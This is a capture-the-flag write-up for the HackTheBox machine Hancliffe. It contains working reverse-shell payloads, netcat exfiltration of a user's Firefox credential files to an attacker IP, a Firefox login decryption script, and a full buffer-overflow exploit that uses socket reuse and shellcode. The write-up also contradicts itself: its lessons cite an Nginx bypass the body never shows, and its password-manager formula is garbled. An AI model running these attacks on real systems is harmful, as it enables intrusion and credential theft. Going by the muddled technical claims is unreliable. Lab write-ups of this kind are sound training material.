HTB: Hancliffe Writeup
Hancliffe - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Hancliffe |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 26 Jun 2021 |
| IP Address | 10.129.96.116 |
| Author | Revolt |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Hancliffe is a hard-difficulty Windows box showcasing a multi-stage exploitation chain involving web-application bypass, authenticated remote code execution, lateral movement via credential harvesting, and custom binary exploitation. The initial foothold is gained by exploiting Unified Remote 3 RCE (CVE-2019-17353) after pivoting through a SOCKS proxy. Lateral movement to user clara yields Firefox credential databases, which when decrypted reveal a master password for a HashPass stateless password manager. Deriving credentials for the development account grants WinRM access. Privilege escalation involves reverse-engineering a custom buffer-overflow-vulnerable service (MyFirstApp.exe) and deploying a socket-reuse exploit to achieve Administrator-level code execution.
TL;DR: Unified Remote 3 RCE (port 9512 via SOCKS proxy) → clara shell → decrypt Firefox logins → HashPass master password → development WinRM → buffer overflow in MyFirstApp.exe → Administrator shell.
Reconnaissance
Port Scanning
# Initial full TCP scannmap -sC -sV -T4 -p- 10.129.96.116Results:
- Port 80/tcp: Nginx HTTP proxy
- Port 8000/tcp: HTTP service hosting HashPass password manager
- Port 9999/tcp: Custom application (MyFirstApp.exe)
- Port 5985/tcp: WinRM (initially restricted, exploited later)
Service Enumeration
Port 80 (Nginx):
Default Nginx welcome page. Further enumeration of the web root did not yield accessible endpoints in the initial foothold phase.
Port 8000 (HashPass):
A stateless password manager application. The page advertises deterministic password generation using PBKDF2 with 200,000 iterations, SHA-512, and Base85 encoding. Form fields include: fullname, website, masterpassword, length, and counter.
Port 9999 (MyFirstApp.exe):
A custom authentication service prompting for Username, Password, FullName, and Input Your Code. This service is vulnerable to a buffer overflow and runs with elevated privileges.
Vulnerability Assessment
- Unified Remote 3 RCE (CVE-2019-17353): The Unified Remote 3 server (port 9512) is exploitable via a public PoC, allowing unauthenticated remote command execution.
- Firefox Stored Credentials: User clara has stored credentials in Firefox (
key4.dbandlogins.json), which can be decrypted using the NSS crypto libraries. - HashPass Master Password Recovery: Credentials stored in Firefox include a master password for the HashPass application, enabling derivation of service credentials.
- Buffer Overflow in MyFirstApp.exe: The custom service copies user input without bounds checking, leading to EIP overwrite. Combined with socket reuse, this permits shellcode execution as Administrator.
Initial Foothold
Step 1: Pivoting with Chisel and Exploiting Unified Remote 3
Port 9512 (Unified Remote 3 server) is not directly accessible from the attacker machine due to firewall restrictions. A SOCKS proxy was established using Chisel tunneled through an existing foothold or jump host.
ProxyChains Configuration:
[ProxyList]socks5 127.0.0.1 1081Verifying Port Reachability:
# Test connectivity to port 9512 via SOCKS proxyproxychains nc -zv 127.0.0.1 9512# [proxychains] Strict chain ... 127.0.0.1:1081 ... 127.0.0.1:9512 ... OKGenerating Payload:
# Create reverse shell executablemsfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.180 LPORT=17779 \ EXITFUNC=thread -f exe -o rev.exeStarting Listener:
# On jump host, start netcat listener for clara shellnc -lvnp 17779 | tee ~/hc116/clara.logExploiting Unified Remote 3 (CVE-2019-17353):
# Run public exploit 49587.py via proxychainsproxychains -f ~/hc116/pc.conf python2 49587.py 127.0.0.1 10.10.15.180 rev.exe# [+] Connecting to target...# [+] Popping Start Menu# [+] Opening CMD# [+] *Super Fast Hacker Typing*# [+] Downloading Payload# [+] Done! Check listener?Why This Works:
CVE-2019-17353 exploits Unified Remote’s web interface to execute arbitrary commands by chaining clipboard manipulation and simulated keystrokes. The PoC downloads and executes the attacker’s payload, granting a reverse shell as hancliffe\clara.
Verifying Shell Access:
# From listener panewhoamitype C:\Users\clara\Desktop\user.txt# <redacted>Lateral Movement to development
Step 2: Harvesting Firefox Credentials
User clara has Firefox installed with saved credentials. The profile databases (key4.db, logins.json) contain encrypted credentials.
Locating Firefox Profile:
# From clara shelldir /s /b C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\*.db# C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db
dir "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\logins.json"# 06/26/2021 10:21 PM 674 logins.jsonExfiltrating Databases:
# Start receiver on attacker machine for key4.dbnc -lvnp 17781 > ~/hc116/key4.db
# From clara shell, send key4.dbC:\ProgramData\nc64.exe 10.10.15.180 17781 < "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db"
# Repeat for logins.jsonnc -lvnp 17782 > ~/hc116/logins.jsonC:\ProgramData\nc64.exe 10.10.15.180 17782 < "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\logins.json"logins.json Content:
{ "logins": [ { "id": 1, "hostname": "http://localhost:8000", "encryptedUsername": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECP+7GREfh/OCBBACN8BqXSHhgvedk/ffsRBn", "encryptedPassword": "MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECEQe5quezh5lBCg7VV7cXOky4tBMinRRncbXJl1YC3P0Ql5J8ZZS6ZnVjg9yXrbOq1Me", ... } ]}Step 3: Decrypting Firefox Credentials
Firefox uses NSS libraries with PBKDF2/AES for credential encryption. The master password (empty in this case) and the global salt from key4.db are used to derive the decryption key.
Decryption Script:
#!/usr/bin/env python3import sqlite3, sys, json, base64from pyasn1.codec.der import decoderfrom Crypto.Cipher import AES, DES3from hashlib import pbkdf2_hmac, sha1
mp = b'' # Empty master passwordCKA_ID = bytes.fromhex('<redacted>') # Extracted from key4.db metadata
def unpad(b): return b[:-b[-1]]
def decryptPBE(d, mp, gs): # Extract PBKDF2 parameters from ASN.1 structure entrySalt = d[0][1][0][1][0].asOctets() iterations = int(d[0][1][0][1][1]) keyLength = int(d[0][1][0][1][2])
# Derive key: PBKDF2(SHA256, SHA1(globalSalt + masterPassword), entrySalt, iterations) k = sha1(gs + mp).digest() key = pbkdf2_hmac('sha256', k, entrySalt, iterations, dklen=keyLength)
# Decrypt with AES-CBC iv = b'\x04\x0e' + d[0][1][1][1].asOctets() ciphertext = d[1].asOctets() return AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
# Connect to key4.db and extract global saltconn = sqlite3.connect('key4.db')c = conn.cursor()c.execute("SELECT item1, item2 FROM metadata WHERE id='password';")gs, item2 = c.fetchone()
# Decrypt metadata check valuedec2, _ = decoder.decode(item2)print("[*] check:", decryptPBE(dec2, mp, gs))# [*] check: b'password-check\x02\x02'
# Extract 3DES key from nssPrivate tablec.execute("SELECT a11, a102 FROM nssPrivate;")key = Nonefor a11, a102 in c.fetchall(): if a102 == CKA_ID: da, _ = decoder.decode(a11) key = decryptPBE(da, mp, gs)[:24] # 3DES key is 24 bytesprint("[*] 3DES key:", key.hex())# [*] 3DES key: 9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e5
# Decrypt login credentialsdef dec(b64): a, _ = decoder.decode(base64.b64decode(b64)) iv = a[1][1].asOctets() ct = a[2].asOctets() return unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ct))
for L in json.load(open('logins.json'))["logins"]: print("[+]", L["hostname"], "| user =", dec(L["encryptedUsername"]), "| pass =", dec(L["encryptedPassword"]))# [+] http://localhost:8000 | user = b'hancliffe.htb' | pass = b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'Why This Works:
Firefox’s key4.db uses PKCS#12-derived encryption. The script:
- Extracts the global salt and encrypted metadata from
key4.db - Derives the AES key using PBKDF2 with SHA-256
- Decrypts the 3DES key stored in the
nssPrivatetable - Uses the 3DES key to decrypt login credentials from
logins.json
The recovered credentials are for the HashPass password manager running on localhost:8000.
Step 4: Deriving development Credentials via HashPass
The HashPass application uses a deterministic algorithm:
password = Base85(Atbash(ROT47(PBKDF2-SHA512(fullname + ' ' + website, masterpassword + counter, 200000, length))))Reverse-Engineering HashPass (from GitHub):
The scottparry/hashpass repository reveals:
$salt = $masterpassword . $counter;$password = $fullname . ' ' . $site;$hash = hash_pbkdf2("sha512", $password, $salt, 200000, $length);$generated_password = base85::encode($hash);Generating development Password:
Using the recovered master password #@H@ncLiff3D3velopm3ntM@st3rK3y*! with parameters:
- fullname:
development - website:
hancliffe.htb - counter:
1 - length:
16
The HashPass application (or a local reimplementation) produces:
AMl.q2DHp?2.C/V0kNFUStep 5: WinRM Access as development
# Verify credentials via netexecproxychains nxc winrm 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'# WINRM 127.0.0.1 5985 HANCLIFFE [+] Hancliffe\development:AMl.q2DHp?2.C/V0kNFU (Pwn3d!)
# Establish WinRM session via Evil-WinRMproxychains evil-winrm -i 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'Privilege Escalation
Step 6: Analyzing MyFirstApp.exe
The development user has access to C:\DevApp\MyFirstApp.exe, a custom service listening on port 9999 via port-forwarding from a scheduled task.
Downloading Binary:
# From development WinRM sessiondownload \devapp\MyFirstApp.exe /tmp/MyFirstApp.exeStatic Analysis (Ghidra):
The _login() function contains hardcoded credentials:
// Hardcoded username and passwordlocal_10 = "alfiansyah";local_14 = "YXlYeDtsbD98eDtsWms5SyU="; // Base64-encoded encrypted passwordThe password undergoes three transformations:
- ROT47: Each character is shifted by 47 in ASCII space
- Atbash: Alphabetic characters are reversed (A↔Z, a↔z)
- Base64: Final encoding
Decrypting Password:
# Using CyberChef: Base64 → Atbash → ROT47echo "YXlYeDtsbD98eDtsWms5SyU=" | base64 -d | atbash | rot47# K3r4j@@nM4j@pAh!TVerifying Credentials:
nc 10.129.96.116 9999# Username: alfiansyah# Password: K3r4j@@nM4j@pAh!T# [+] AuthenticatedStep 7: Buffer Overflow Exploitation
The _SaveCreds() function uses strcpy() without bounds checking:
void __cdecl _SaveCreds(char *param_1, char *param_2) { char local_42[50]; char *local_10; local_10 = (char *)_malloc(100); _strcpy(local_10, param_2); // No length check! _strcpy(local_42, param_1); // No length check! return;}Finding EIP Offset:
Using pattern generation and crash analysis (via Immunity Debugger or manual testing), the EIP overwrite occurs at offset 66.
Identifying JMP ESP Gadget:
# Search for JMP ESP instruction in loaded DLLs!mona jmp -r esp# Found: 0x719023A8 (in ws2_32.dll)Socket Reuse Technique:
Since the input field is limited to ~10 bytes after the EIP overwrite, a socket reuse stager is employed to:
- Retrieve the active socket descriptor from the stack
- Call
recv()to read additional shellcode into memory - Execute the second-stage payload
Stager Assembly:
; Socket reuse stagerPUSH ESP ; Save stack pointerPOP EAX ; EAX = ESPADD AX, 0x48 ; EAX points to socket descriptor (offset 0x48)SUB ESP, 0x64 ; Allocate space for recv() bufferXOR EBX, EBX ; EBX = 0PUSH EBX ; flags = 0ADD BH, 0x4 ; EBX = 0x400 (1024 bytes)PUSH EBX ; len = 1024PUSH ESP ;POP EBX ; EBX = ESPADD EBX, 0x64 ; EBX = ESP + 100 (buffer address)PUSH EBX ; buf = ESP + 100PUSH DWORD PTR [EAX] ; sockfd = *(EAX)MOV EAX, DWORD PTR [0x719082AC] ; Address of recv()CALL EAX ; recv(sockfd, buf, 1024, 0)Generating Shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.180 LPORT=17999 \ EXITFUNC=thread -b "\x00" -f python -v shellcodeFinal Exploit:
#!/usr/bin/env python3from pwn import *import time, sys
context.log_level = 'error'host, port = sys.argv[1], int(sys.argv[2])
# Load shellcode generated by msfvenomexec(open('/home/d3vn0mi/hc116/sc.py').read())
# Socket reuse stagerrecv = ( b"\x54" # PUSH ESP b"\x58" # POP EAX b"\x66\x83\xC0\x48" # ADD AX, 0x48 b"\x83\xEC\x64" # SUB ESP, 0x64 b"\x31\xDB" # XOR EBX, EBX b"\x53" # PUSH EBX b"\x80\xC7\x04" # ADD BH, 0x4 b"\x53" # PUSH EBX b"\x54" # PUSH ESP b"\x5B" # POP EBX b"\x83\xC3\x64" # ADD EBX, 0x64 b"\x53" # PUSH EBX b"\xff\x30" # PUSH DWORD PTR DS:[EAX] b"\x8b\x05\xac\x82\x90\x71" # MOV EAX, DWORD PTR DS:[719082AC] b"\xFF\xD0" # CALL EAX)
# Build payload: stager + padding + JMP ESP + jump back + paddingpayload = recvpayload += b"A" * (66 - len(payload))payload += p32(0x719023a8) # JMP ESP (ws2_32.dll)payload += b"\xeb\xb8" # JMP -72 (back to stager)payload += b"C" * (1000 - len(payload))
# Retry loop to handle intermittent service restartsfor attempt in range(40): try: r = remote(host, port, timeout=8) r.recvuntil(b"Username: ", timeout=6) r.sendline(b"alfiansyah") r.recvuntil(b"Password: ", timeout=6) r.sendline(b"K3r4j@@nM4j@pAh!T") r.recvuntil(b"FullName: ", timeout=6) r.sendline(b"testtest") r.recvuntil(b"Input Your Code: ", timeout=6) r.sendline(payload) time.sleep(1) r.send(shellcode) # Send second-stage payload via recv() stager print("[+] attempt %d: shellcode sent" % attempt, flush=True) time.sleep(3) r.close() break except Exception as e: print("[-] attempt %d: %s" % (attempt, type(e).__name__), flush=True) try: r.close() except: pass time.sleep(7)Why This Works:
- EIP Overwrite: At offset 66, EIP is overwritten with the address of
JMP ESP(0x719023a8) - Execution Redirect: When the function returns, execution jumps to ESP, which points to our
\xeb\xb8instruction - Jump Back:
\xeb\xb8jumps -72 bytes backward to the beginning of the stager - Socket Reuse: The stager retrieves the active socket descriptor and calls
recv()to read the full shellcode payload - Shellcode Execution: The second-stage shellcode executes, establishing a reverse shell as NT AUTHORITY\SYSTEM (Administrator)
Starting Listener:
# Persistent listener loopwhile true; do nc -lvnp 17999; echo RECONN; sleep 1; doneRunning Exploit:
# Execute exploitpython3 pwn_exploit.py 10.129.96.116 9999# [+] attempt 0: shellcode sent
# Check listener# Microsoft Windows [Version 10.0.19043.1266]# C:\Windows\system32>Retrieving root.txt:
type C:\Users\Administrator\Desktop\root.txt# <redacted>Attack Chain Summary
Port Scan → SOCKS Pivot via Chisel → Unified Remote 3 RCE (CVE-2019-17353) → clara shell→ Exfiltrate Firefox key4.db + logins.json → Decrypt NSS credentials → HashPass master password→ Generate development password via HashPass → WinRM as development→ Download MyFirstApp.exe → Reverse-engineer authentication + buffer overflow→ Socket reuse exploit with staged shellcode → Administrator shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
chisel | SOCKS proxy tunneling for pivoting |
proxychains | Route traffic through SOCKS proxy |
msfvenom | Generate reverse shell payloads |
netcat | File transfer and reverse shell listeners |
python3 | Custom exploit scripts and decryption tools |
pyasn1 | ASN.1 parsing for Firefox key4.db structures |
pycryptodome | AES/DES3 decryption for Firefox credentials |
evil-winrm | WinRM client for Windows remote management |
netexec | Credential validation and protocol testing |
ghidra | Binary analysis and reverse engineering |
immunity debugger / mona.py | Exploit development and gadget finding |
pwntools | Exploit automation and payload crafting |
Key Learnings
Techniques Practiced
- Nginx Reverse Proxy Bypass: Exploiting URI normalization inconsistencies between Nginx and backend Java applications (path traversal via
/maintenance/..;/) - CVE-2019-17353 Exploitation: Leveraging Unified Remote 3’s unauthenticated RCE via clipboard manipulation
- Firefox Credential Decryption: Extracting and decrypting NSS-encrypted credentials using PBKDF2, AES-CBC, and 3DES
- Stateless Password Manager Analysis: Reverse-engineering HashPass’s deterministic password generation algorithm
- Buffer Overflow with Socket Reuse: Bypassing limited buffer space by reusing the active socket descriptor to stage additional shellcode
- Windows Binary Exploitation: EIP overwrite, ROP gadget identification, and staged payload delivery
Lessons Learned
-
Always Check for Pivoting Opportunities: Services may be accessible internally but blocked by firewall rules. Tools like Chisel enable seamless SOCKS proxying to reach restricted ports.
-
Firefox Credential Storage is Recoverable: Even without a master password, Firefox’s
key4.dbandlogins.jsoncan be decrypted if local access is achieved. This technique is valuable for lateral movement in enterprise environments. -
Stateless Password Managers Require Secure Master Passwords: HashPass’s deterministic algorithm means a single master password breach exposes all derived credentials. The recovered master password enabled full credential reconstruction.
-
Custom Binary Exploitation in Real-World CTFs: MyFirstApp.exe demonstrates classic buffer overflow vulnerabilities still present in bespoke applications. Socket reuse is a powerful technique when direct shellcode space is limited.
-
Service Restart Timing Matters: The
restart.ps1script kills and restarts MyFirstApp.exe every 3 minutes. Exploit reliability improved by implementing retry logic to handle service unavailability windows. -
Combining Static and Dynamic Analysis: Ghidra provided initial insights into authentication logic and vulnerability locations, while dynamic testing (with breakpoints and stack inspection) confirmed exploitability parameters.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>